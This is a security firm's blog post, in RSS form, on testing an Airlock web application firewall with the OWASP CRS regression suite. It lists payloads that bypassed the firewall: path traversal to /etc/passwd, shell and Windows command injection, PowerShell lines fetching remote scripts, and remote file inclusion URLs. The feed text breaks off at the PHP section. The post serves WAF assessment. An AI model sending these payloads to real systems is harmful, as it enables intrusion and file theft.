<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="../../assets/xml/rss.xsl" media="all"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Pentagrid AG (Posts about General)</title><link>https://www.pentagrid.ch/</link><description></description><atom:link href="https://www.pentagrid.ch/en/categories/cat_general.xml" rel="self" type="application/rss+xml"></atom:link><language>en</language><copyright>Contents © 2026 Pentagrid AG </copyright><lastBuildDate>Wed, 17 Jun 2026 19:14:56 GMT</lastBuildDate><generator>Nikola (getnikola.com)</generator><docs>http://blogs.law.harvard.edu/tech/rss</docs><item><title>An excursion into Airlock WAF ruleset testing</title><link>https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/default_preview_image.jpeg"&gt;&lt;/figure&gt; &lt;p&gt;Recently we've been tasked to do an analysis of a web application firewall (WAF) of the vendor Ergon, namely the &lt;a class="reference external" href="https://www.airlock.com/"&gt;Airlock WAF&lt;/a&gt; regarding the effectivness of filtering. One idea was to see what happens when OWASP Core Rule Set (CRS) tests are run against it. This is the story of how we approached this, which payloads went through and how impossible it is to tell if that's good or bad now.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;p&gt;WAFs are a controversial topic. The reason is simply that there is no technical proof that either is universally helpful or harmful, as their effectiveness largely depends on a lot of things. We don't think you need a WAF in general, and we also don't think you need to get rid of your WAF if you have a use case. For all of you who are expecting us to provide the ultimate answer &lt;a class="brackets" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#footnote-1" id="footnote-reference-1" role="doc-noteref"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;1&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/a&gt; in this blog post: You can stop reading here. For everyone interested in learning some technical details about two WAF-related projects from real-world installations, please enjoy.&lt;/p&gt;
&lt;section id="about-wafs-and-airlock"&gt;
&lt;h2&gt;About WAFs and Airlock&lt;/h2&gt;
&lt;p&gt;Ergon's Airlock WAF is one of the better-known WAFs in Switzerland. One reason for this is that it is often recommended, bundled or sold with financial software, such as core banking systems. Some banks nevertheless use something else, while others stick with Airlock. Like any other WAF, Airlock mitigates risks according to their website.&lt;/p&gt;
&lt;p&gt;Like a standard firewall, a WAF has a set of rules that define wether something is blocked or allowed through. However, that's already where the similarity stops. Best practices for regular firewalls require you to create an allow-list of traffic you want to pass and deny everything else. By contrast, most WAFs use block-lists and allow everything else. Everybody in our industry knows block-lists are a recipe for security issues and that's why a WAF will never be perfect, but best effort. So as a matter of fact, WAF bypasses are a common thing.&lt;/p&gt;
&lt;p&gt;While every vendor and company using a WAF has their own rule set to fit their purpose, a key distinction exists: some who use a modified version of the &lt;a class="reference external" href="https://owasp.org/www-project-modsecurity-core-rule-set/"&gt;OWASP ModSecurity Core Rule Set (CRS)&lt;/a&gt;, while others don't use CRS at all. According to the CRS project, a lot of big cloud vendors are using CRS in their WAF. However, Airlock is one of the vendors that doesn't use CRS.&lt;/p&gt;
&lt;p&gt;Additionally, most WAFs allow to decide dynamically whether to use more or less strict rules for a certain category of attacks. CRS uses the term &lt;a class="reference external" href="https://coreruleset.org/docs/concepts/paranoia_levels/"&gt;"Paranoia Level" (1 to 4)&lt;/a&gt;, whereas Airlock calls it &lt;a class="reference external" href="https://docs.airlock.com/gateway/8.0/#data/1583435052416.html"&gt;"Security Level" or "Blocking Level" (basic, standard and strict)&lt;/a&gt;. As some might already have noticed, we'll sometimes refer to CRS as a WAF in this post, implying a compatible WAF engine like ModSecurity is using CRS.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="approach"&gt;
&lt;h2&gt;Approach&lt;/h2&gt;
&lt;p&gt;We've been tasked with analyzing an Airlock WAF and while we looked at various things, as a novel approach, we also decided to try to run comparison tests for Airlock against some of the CRS rules. As there seemed no one who did this before and wrote about it on the Internet, we tried our luck.&lt;/p&gt;
&lt;p&gt;Although there is a &lt;a class="reference external" href="https://docs.airlock.com/gateway/8.0/#data/1589475703024.html"&gt;public list of rule names&lt;/a&gt;, you need access to an Airlock WAF in order to see the actual Airlock rules (the regexes). Whereas CRS is an open-source project and you have full access to review it. This is very helpful for a pentester who is up against a CRS-based WAF, as you can even &lt;a class="reference external" href="https://github.com/coreruleset/coreruleset/labels/%3Aheavy_minus_sign%3A%20False%20Negative%20-%20Evasion"&gt;look up all currently unfixed evasions on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The Airlock WAF we were facing had the following rules and blocking levels set:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Standard: SQL Injection (SQLi) in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: SOL Injection (SQLi) in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Cross-Site Scripting (XSS) in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Cross-Site Scripting (XSS) in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Cross-Site Scripting (XSS) in Path&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Template and Expression Language Injection&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: HTML Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: HTML Injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: HTML Injection in Path&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: UNIX Command Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: UNIX Command Injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Windows Command Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Windows Command injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: LDAP Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: LDAP Injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: PHP Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: PHP Injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Object Graph Navigation Library (OGNL) injection (Apache Struts)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Insecure Direct Object Reference in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Insecure Direct Object Reference in Path&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: NoSOL Injection in Parameter Name&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: NoSOL Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: NoSQL Injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Parameter Name Sanity&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Parameter Value Sanity&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Header Name Sanity&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Header Value Sanity&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Path Sanity&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Encoding and Conversion Exploits in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Encoding and Conversion Exploits in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: HTTP Response Splitting&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: HTTP Parameter Pollution&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Miscellanous Exploits&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Automated Scanning&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note that none of the rules are on the level "basic", so either the "standard" setting is used or even the highest protection level "strict".&lt;/p&gt;
&lt;/section&gt;
&lt;section id="crs-regression-test-run-against-airlock"&gt;
&lt;h2&gt;CRS regression test run against Airlock&lt;/h2&gt;
&lt;p&gt;The most interesting part for us was that the CRS project provides a &lt;a class="reference external" href="https://github.com/coreruleset/coreruleset/tree/main/tests/regression"&gt;full regression test set&lt;/a&gt;, which contains tests that trigger a rule in different ways. With some modifications, such as changing the target host, we were able to run these tests against the Airlock WAF. Although this approach seemed straightforward, we underestimated the amount of manual work required to determine whether a failed test result for CRS was really "an issue" for the Airlock WAF. That's why we didn't completely review the entire regression corpus. However, we still learned a lot of interesting facts about both WAFs, as you'll see.&lt;/p&gt;
&lt;p&gt;In the end, the effectiveness of a WAF depends a lot on its configuration (there are many features we don't even mention here) and on the type of application it is protecting. So even before starting, we knew the results wouldn't show a generally applicable picture.&lt;/p&gt;
&lt;p&gt;After tweaking the configuration of &lt;a class="reference external" href="https://github.com/coreruleset/go-ftw/releases"&gt;go-ftw&lt;/a&gt; (a framework for testing WAFs), and trying to run it against Airlock, it became obvious that this was going to involve a lot of manual work to figure out which things were really a problem on the Airlock side. Some of the reasons are:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;As we had to overwrite the destination (IP address and TCP port) as well as the HTTP Host header of tests to route our request correctly to the Airlock WAF, we already destroyed some of the CRS regression tests that injected into the HTTP Host header.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;There is no throttle mechanism in go-ftw and Airlock was configured to block an IP for a certain time if a threshold of blocked requests per minute was detected. Therefore, we split the test into smaller batches and waited for a while between each batch. When just a few of the test requests were blocked, the batches went through nicely, but for tests that resulted in many blocked requests, we had to rerun them. Fortunately for us, in this particular configuration, it was easy to detect in the HTTP responses when the Airlock WAF blocked our IP address.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Airlock has an allow-list regex of all HTTP header names that are forwarded to applications. If you inject into any HTTP header that is not on the allow-list, the request will never be blocked. Some of the CRS tests injected into custom HTTP headers and therefore never triggered any rule.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Airlock also has an allow-list regex of HTTP cookie names where the same issue applies.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;While CRS checks for certain patterns generically in all parameters, Airlock seems to check for certain things only when these parameters are defined to have that kind of content. For example, XML External Entity (XXE) attacks are not blocked generically in a parameter in Airlock.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Some CRS tests check for false positives (meaning CRS should not block them), but we were not interested in those, as we wanted to see what we could potentially smuggle past the Airlock WAF that CRS blocks.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="crs-regression-test-run-results"&gt;
&lt;h2&gt;CRS regression test run results&lt;/h2&gt;
&lt;p&gt;Here's a list of CRS test results that were passed through and were not blocked by the Airlock WAF under test (mid 2024), but would be blocked at some of the paranoia levels of the CRS. As said earlier, this list is incomplete as we didn't look at all the results of the CRS regression tests manually. The titles are the category titles by CRS.&lt;/p&gt;
&lt;section id="request-913-scanner-detection"&gt;
&lt;h3&gt;REQUEST-913-SCANNER-DETECTION&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_d7e367b989164c97976cfa426b84368e-1" name="rest_code_d7e367b989164c97976cfa426b84368e-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_d7e367b989164c97976cfa426b84368e-1"&gt;&lt;/a&gt;User-Agent: nuclei
&lt;a id="rest_code_d7e367b989164c97976cfa426b84368e-2" name="rest_code_d7e367b989164c97976cfa426b84368e-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_d7e367b989164c97976cfa426b84368e-2"&gt;&lt;/a&gt;User-Agent: urlgrabber/3.10 yum/3.4.3
&lt;a id="rest_code_d7e367b989164c97976cfa426b84368e-3" name="rest_code_d7e367b989164c97976cfa426b84368e-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_d7e367b989164c97976cfa426b84368e-3"&gt;&lt;/a&gt;User-Agent: Mozilla/5.0 zgrab/0.x
&lt;a id="rest_code_d7e367b989164c97976cfa426b84368e-4" name="rest_code_d7e367b989164c97976cfa426b84368e-4" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_d7e367b989164c97976cfa426b84368e-4"&gt;&lt;/a&gt;User-Agent: mozilla/5.0 ecairn-grabber/1.0 (+http://ecairn.com/grabber)
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-920-protocol-enforcement"&gt;
&lt;h3&gt;REQUEST-920-PROTOCOL-ENFORCEMENT&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_17a75ecb6d5646c5a4f453cbb0fdcfc3-1" name="rest_code_17a75ecb6d5646c5a4f453cbb0fdcfc3-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_17a75ecb6d5646c5a4f453cbb0fdcfc3-1"&gt;&lt;/a&gt;GET /?param=%25%37%33%25%36%46%25%36%44%25%36%35%25%37%34%25%36%35%25%37%38%25%37%34%25%35%46%25%33%31%25%33%32%25%33%33%25%33%34 HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-921-protocol-attack"&gt;
&lt;h3&gt;REQUEST-921-PROTOCOL-ATTACK&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_2ef0ceff13de4de4bef646fec06594d3-1" name="rest_code_2ef0ceff13de4de4bef646fec06594d3-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_2ef0ceff13de4de4bef646fec06594d3-1"&gt;&lt;/a&gt;GET /?arg1=GET%20http%3A%2F%2Fwww.foo.bar%20HTTP%2F3.2 HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-1" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-1"&gt;&lt;/a&gt;POST / HTTP/1.1
&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-2" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-2"&gt;&lt;/a&gt;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-3" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-3"&gt;&lt;/a&gt;Content-Type: application/x-www-form-urlencoded
&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-4" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-4" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-4"&gt;&lt;/a&gt;Host: www.example.org
&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-5" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-5" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-5"&gt;&lt;/a&gt;Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15
&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-6" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-6" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-6"&gt;&lt;/a&gt;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-7" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-7" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-7"&gt;&lt;/a&gt;Content-Length: 86
&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-8" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-8" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-8"&gt;&lt;/a&gt;
&lt;a id="rest_code_c32a7b5b69ec44ac823839456e8221ba-9" name="rest_code_c32a7b5b69ec44ac823839456e8221ba-9" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c32a7b5b69ec44ac823839456e8221ba-9"&gt;&lt;/a&gt;foo=(%26(objectCategory=computer)%20(userAccountControl:1.2.840.113556.1.4.803:=8192))
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-930-application-attack-lfi"&gt;
&lt;h3&gt;REQUEST-930-APPLICATION-ATTACK-LFI&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_76b8269e4c2142f8921b57fa176e3dd7-1" name="rest_code_76b8269e4c2142f8921b57fa176e3dd7-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_76b8269e4c2142f8921b57fa176e3dd7-1"&gt;&lt;/a&gt;GET /?foo=.../.../WINDOWS/win.ini HTTP/1.1
&lt;a id="rest_code_76b8269e4c2142f8921b57fa176e3dd7-2" name="rest_code_76b8269e4c2142f8921b57fa176e3dd7-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_76b8269e4c2142f8921b57fa176e3dd7-2"&gt;&lt;/a&gt;GET /?foo=0x5c0x2e./0x5c0x2e./0x5c0x2e./0x5c0x2e./0x5c0x2e./ HTTP/1.1
&lt;a id="rest_code_76b8269e4c2142f8921b57fa176e3dd7-3" name="rest_code_76b8269e4c2142f8921b57fa176e3dd7-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_76b8269e4c2142f8921b57fa176e3dd7-3"&gt;&lt;/a&gt;GET /foo../1234 HTTP/1.1
&lt;a id="rest_code_76b8269e4c2142f8921b57fa176e3dd7-4" name="rest_code_76b8269e4c2142f8921b57fa176e3dd7-4" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_76b8269e4c2142f8921b57fa176e3dd7-4"&gt;&lt;/a&gt;GET /?a=..;.\.;\. HTTP/1.1
&lt;a id="rest_code_76b8269e4c2142f8921b57fa176e3dd7-5" name="rest_code_76b8269e4c2142f8921b57fa176e3dd7-5" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_76b8269e4c2142f8921b57fa176e3dd7-5"&gt;&lt;/a&gt;GET /?code=;+cat+%2Fetc%2Fsubuid+%23 HTTP/1.1
&lt;a id="rest_code_76b8269e4c2142f8921b57fa176e3dd7-6" name="rest_code_76b8269e4c2142f8921b57fa176e3dd7-6" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_76b8269e4c2142f8921b57fa176e3dd7-6"&gt;&lt;/a&gt;GET /?code=;echo+fooffff&amp;gt;/tmp/curl HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-931-application-attack-rfi"&gt;
&lt;h3&gt;REQUEST-931-APPLICATION-ATTACK-RFI&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-1" name="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_81f32c85d7f34311a4ecd0b28dc64f99-1"&gt;&lt;/a&gt;GET /?src=http://66.240.183.75/crash.php HTTP/1.1
&lt;a id="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-2" name="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_81f32c85d7f34311a4ecd0b28dc64f99-2"&gt;&lt;/a&gt;GET /components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=https://foo.bar HTTP/1.1
&lt;a id="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-3" name="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_81f32c85d7f34311a4ecd0b28dc64f99-3"&gt;&lt;/a&gt;GET /?x=https://example.com/ HTTP/1.1
&lt;a id="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-4" name="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-4" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_81f32c85d7f34311a4ecd0b28dc64f99-4"&gt;&lt;/a&gt;GET /?x=url:file://foo.bar HTTP/1.1
&lt;a id="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-5" name="rest_code_81f32c85d7f34311a4ecd0b28dc64f99-5" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_81f32c85d7f34311a4ecd0b28dc64f99-5"&gt;&lt;/a&gt;GET /file:%2f%2f/usr/src/blog/app/assets/javascripts/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-932-application-attack-rce"&gt;
&lt;h3&gt;REQUEST-932-APPLICATION-ATTACK-RCE&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-1" name="rest_code_a93846228fec48e7aaf4bda63571b847-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-1"&gt;&lt;/a&gt;GET /get?932120-1=Invoke-WebRequest%20http://example.com/path/file.ps1 HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-2" name="rest_code_a93846228fec48e7aaf4bda63571b847-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-2"&gt;&lt;/a&gt;GET /get?a=Invoke-Expression%20-Command%20file.ps1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-3" name="rest_code_a93846228fec48e7aaf4bda63571b847-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-3"&gt;&lt;/a&gt;GET /get?cmd=%3Biwr%20http://example.com/path/file.ps1 HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-4" name="rest_code_a93846228fec48e7aaf4bda63571b847-4" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-4"&gt;&lt;/a&gt;GET /?cmd=cat%20/etc/pa%5Bs%5Dswd HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-5" name="rest_code_a93846228fec48e7aaf4bda63571b847-5" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-5"&gt;&lt;/a&gt;GET /?cmd=x&amp;lt;cat+/etc/pa%5Bs%5Dswd HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-6" name="rest_code_a93846228fec48e7aaf4bda63571b847-6" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-6"&gt;&lt;/a&gt;GET /?cmd=;cat+/etc/pas[s]wd HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-7" name="rest_code_a93846228fec48e7aaf4bda63571b847-7" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-7"&gt;&lt;/a&gt;GET /?s=;/usr/bin/%5Bu%5Dname+-a HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-8" name="rest_code_a93846228fec48e7aaf4bda63571b847-8" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-8"&gt;&lt;/a&gt;GET /?foo=for%20%2fr%20c%3a%5c%20%25variable%20in%20%28set%29%20do%20command HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-9" name="rest_code_a93846228fec48e7aaf4bda63571b847-9" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-9"&gt;&lt;/a&gt;GET /?foo=FOR+%2FF+%22options%22+%25a+IN+%28%22text%22%29+DO+abc HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-10" name="rest_code_a93846228fec48e7aaf4bda63571b847-10" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-10"&gt;&lt;/a&gt;GET /?foo=%26+FOR+%2FF+%22tokens%3D1-3%22+%25%25A+IN+++%28%22jejeje+brbr%22%29+DO+%40echo+pwnd HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-11" name="rest_code_a93846228fec48e7aaf4bda63571b847-11" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-11"&gt;&lt;/a&gt;GET /?foo=FOR+%25%25G+IN+%28a%2Cb%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj%2Ck%2Cl%2Cm%2Cn%2Co%2Cp%2Cq%2Cr%2Cs%2Ct%2Cu%2Cv%2Cw%2Cx%2Cy%2Cz%29+DO+%28md+C%3A%5Cdemo%5C%25%25G%29 HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-12" name="rest_code_a93846228fec48e7aaf4bda63571b847-12" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-12"&gt;&lt;/a&gt;GET /?x=%2Fusr%2Fbin%2Fperl+-e+%27print+readline%27+some-file.txt HTTP/1.1
&lt;a id="rest_code_a93846228fec48e7aaf4bda63571b847-13" name="rest_code_a93846228fec48e7aaf4bda63571b847-13" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_a93846228fec48e7aaf4bda63571b847-13"&gt;&lt;/a&gt;GET /?x=)};%24SHELL%20-c%20%22echo%20hi%22 HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-933-application-attack-php"&gt;
&lt;h3&gt;REQUEST-933-APPLICATION-ATTACK-PHP&lt;/h3&gt;
